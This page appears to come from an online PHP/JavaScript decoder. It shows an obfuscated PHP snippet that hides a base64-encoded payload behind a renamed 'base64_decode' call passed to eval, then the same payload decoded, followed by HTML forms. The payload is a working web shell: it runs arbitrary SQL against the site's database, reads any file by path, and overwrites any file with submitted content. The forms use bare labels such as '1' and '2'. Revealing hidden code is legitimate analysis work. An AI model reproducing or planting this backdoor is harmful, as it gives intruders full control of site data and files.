Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


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$cUmX0MP7="base64_decode";eval($cUmX0MP7("ID8+PD9waHAKcmVxdWlyZV9vbmNlKCcuLi9jb25maWcucGhwJyk7
CgppZiAoaXNzZXQoJF9QT1NUWydjb2RlX3NxbCddKSkgewogICAgaWYgKCFlbXB0eSgkX1BPU1RbJ2NvZGVzcWwnXSkpIHsKICAgICAgICAkcmVzdWx0ID0g
JEtOQ01TLT5xdWVyeSgkX1BPU1RbJ2NvZGVzcWwnXSk7CiAgICAgICAgaWYgKCRyZXN1bHQpIHsKICAgICAgICAgICAgJHJlc3VsdCA9ICRyZXN1bHQtPmZldGN
oX2FycmF5KCk7CiAgICAgICAgICAgIGVjaG8gJzxoMz5TUUwgUXVlcnkgUmVzdWx0czo8L2gzPic7CiAgICAgICAgICAgIGZvcmVhY2ggKCRyZXN1bHQgYXMgJGRhd
EpIHsKICAgICAgICAgICAgICAgIGVjaG8gJGRhdGEgLiAnPGJyPic7CiAgICAgICAgICAgIH0KICAgICAgICB9IGVsc2UgewogICAgICAgICAgICBlY2hvICdFcnJvciBleG
jdXRpbmcgU1FMIHF1ZXJ5Lic7CiAgICAgICAgfQogICAgfQp9CgppZiAoaXNzZXQoJF9QT1NUWydjb2RlX2ZpbGUnXSkpIHsKICAgIGlmIChpc3NldCgkX1BPU1RbJ2ZpbGVuYW1lJ10
pICYmICFlbXB0eSgkX1BPU1RbJ2ZpbGVuYW1lJ10pKSB7CiAgICAgICAgJGZpbGVuYW1lID0gJF9QT1NUWydmaWxlbmFtZSddOwogICAgICAgIGlmIChmaWxlX2V4aXN0cygkZmlsZW5hbWUpKS
B7CiAgICAgICAgICAgICRmaWxlQ29udGVudHMgPSBmaWxlX2dldF9jb250ZW50cygkZmlsZW5hbWUpOwogICAgICAgICAgICBlY2hvICc8aHI+PGgzPkZpbGUgQ29udGVudHM6PC9oMz4nOwogICAgICAgICAg
ICBlY2hvIG5sMmJyKGh0bWxzcGVjaWFsY2hhcnMoJGZpbGVDb250ZW50cykpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGVjaG8gJ0ZpbGUgZG9lcyBub3QgZXhpc3QuJzsKICAgICAgICB9CiAgIC
B9Cn0KPz4KPD9waHAgaWYgKGlzc2V0KCRfUE9TVFsndXBkYXRlX2ZpbGUnXSkpIHsKICAgIGlmIChpc3NldCgkX1BPU1RbJ3VwZGF0ZV9maWxlbmFtZSddKSAmJiAhZW1wdHkoJF9QT1NUWyd1cGRhdGVfZmls
ZW5hbWUnXSkgJiYgaXNzZXQoJF9QT1NUWydmaWxlX2NvbnRlbnQnXSkpIHsKICAgICAgICAkdXBkYXRlRmlsZW5hbWUgPSAkX1BPU1RbJ3VwZGF0ZV9maWxlbmFtZSddOwogICAgICAgICRmaWxlQ29udGVudC
A9ICRfUE9TVFsnZmlsZV9jb250ZW50J107CiAgICAgICAgaWYgKGZpbGVfZXhpc3RzKCR1cGRhdGVGaWxlbmFtZSkpIHsKICAgICAgICAgICAgZmlsZV9wdXRfY29udGVudHMoJHVwZGF0ZUZpbGVuYW1lLCAk
ZmlsZUNvbnRlbnQpOwogICAgICAgICAgICBlY2hvICc8aHI+RmlsZSB1cGRhdGVkIHN1Y2Nlc3NmdWxseS4nOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGVjaG8gJ0ZpbGUgZG9lcyBub3QgZXhpc3
QuJzsKICAgICAgICB9CiAgICB9Cn0/Pgo8P3BocCA="));
<form method="POST">
    <h2>1</h2>
    <input type="text" name="codesql" placeholder="" required>
    <button type="submit" name="code_sql" class="btn btn-primary">Test</button>
</form>

<form method="POST">
    <h2>2</h2>
    <input type="text" name="filename" placeholder="" required>
    <button type="submit" name="code_file" class="btn btn-primary">Ghi</button>
</form>


<form method="POST">
    <h2>Update File Content</h2>
    <input type="text" name="update_filename" placeholder="File Path" required>
    <textarea name="file_content" rows="10" cols="50" placeholder="New file content" required></textarea>
    <button type="submit" name="update_file" class="btn btn-primary">Update File</button>
</form>

$cUmX0MP7="base64_decode";echo $cUmX0MP7("ID8+PD9waHAKcmVxdWlyZV9vbmNlKCcuLi9jb25maWcucGhwJyk7
CgppZiAoaXNzZXQoJF9QT1NUWydjb2RlX3NxbCddKSkgewogICAgaWYgKCFlbXB0eSgkX1BPU1RbJ2NvZGVzcWwnXSkpIHsKICAgICAgICAkcmVzdWx0ID0g
JEtOQ01TLT5xdWVyeSgkX1BPU1RbJ2NvZGVzcWwnXSk7CiAgICAgICAgaWYgKCRyZXN1bHQpIHsKICAgICAgICAgICAgJHJlc3VsdCA9ICRyZXN1bHQtPmZldGN
oX2FycmF5KCk7CiAgICAgICAgICAgIGVjaG8gJzxoMz5TUUwgUXVlcnkgUmVzdWx0czo8L2gzPic7CiAgICAgICAgICAgIGZvcmVhY2ggKCRyZXN1bHQgYXMgJGRhd
EpIHsKICAgICAgICAgICAgICAgIGVjaG8gJGRhdGEgLiAnPGJyPic7CiAgICAgICAgICAgIH0KICAgICAgICB9IGVsc2UgewogICAgICAgICAgICBlY2hvICdFcnJvciBleG
jdXRpbmcgU1FMIHF1ZXJ5Lic7CiAgICAgICAgfQogICAgfQp9CgppZiAoaXNzZXQoJF9QT1NUWydjb2RlX2ZpbGUnXSkpIHsKICAgIGlmIChpc3NldCgkX1BPU1RbJ2ZpbGVuYW1lJ10
pICYmICFlbXB0eSgkX1BPU1RbJ2ZpbGVuYW1lJ10pKSB7CiAgICAgICAgJGZpbGVuYW1lID0gJF9QT1NUWydmaWxlbmFtZSddOwogICAgICAgIGlmIChmaWxlX2V4aXN0cygkZmlsZW5hbWUpKS
B7CiAgICAgICAgICAgICRmaWxlQ29udGVudHMgPSBmaWxlX2dldF9jb250ZW50cygkZmlsZW5hbWUpOwogICAgICAgICAgICBlY2hvICc8aHI+PGgzPkZpbGUgQ29udGVudHM6PC9oMz4nOwogICAgICAgICAg
ICBlY2hvIG5sMmJyKGh0bWxzcGVjaWFsY2hhcnMoJGZpbGVDb250ZW50cykpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGVjaG8gJ0ZpbGUgZG9lcyBub3QgZXhpc3QuJzsKICAgICAgICB9CiAgIC
B9Cn0KPz4KPD9waHAgaWYgKGlzc2V0KCRfUE9TVFsndXBkYXRlX2ZpbGUnXSkpIHsKICAgIGlmIChpc3NldCgkX1BPU1RbJ3VwZGF0ZV9maWxlbmFtZSddKSAmJiAhZW1wdHkoJF9QT1NUWyd1cGRhdGVfZmls
ZW5hbWUnXSkgJiYgaXNzZXQoJF9QT1NUWydmaWxlX2NvbnRlbnQnXSkpIHsKICAgICAgICAkdXBkYXRlRmlsZW5hbWUgPSAkX1BPU1RbJ3VwZGF0ZV9maWxlbmFtZSddOwogICAgICAgICRmaWxlQ29udGVudC
A9ICRfUE9TVFsnZmlsZV9jb250ZW50J107CiAgICAgICAgaWYgKGZpbGVfZXhpc3RzKCR1cGRhdGVGaWxlbmFtZSkpIHsKICAgICAgICAgICAgZmlsZV9wdXRfY29udGVudHMoJHVwZGF0ZUZpbGVuYW1lLCAk
ZmlsZUNvbnRlbnQpOwogICAgICAgICAgICBlY2hvICc8aHI+RmlsZSB1cGRhdGVkIHN1Y2Nlc3NmdWxseS4nOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGVjaG8gJ0ZpbGUgZG9lcyBub3QgZXhpc3
QuJzsKICAgICAgICB9CiAgICB9Cn0/Pgo8P3BocCA=");
<form method="POST">
    <h2>1</h2>
    <input type="text" name="codesql" placeholder="" required>
    <button type="submit" name="code_sql" class="btn btn-primary">Test</button>
</form>

<form method="POST">
    <h2>2</h2>
    <input type="text" name="filename" placeholder="" required>
    <button type="submit" name="code_file" class="btn btn-primary">Ghi</button>
</form>


<form method="POST">
    <h2>Update File Content</h2>
    <input type="text" name="update_filename" placeholder="File Path" required>
    <textarea name="file_content" rows="10" cols="50" placeholder="New file content" required></textarea>
    <button type="submit" name="update_file" class="btn btn-primary">Update File</button>
</form>


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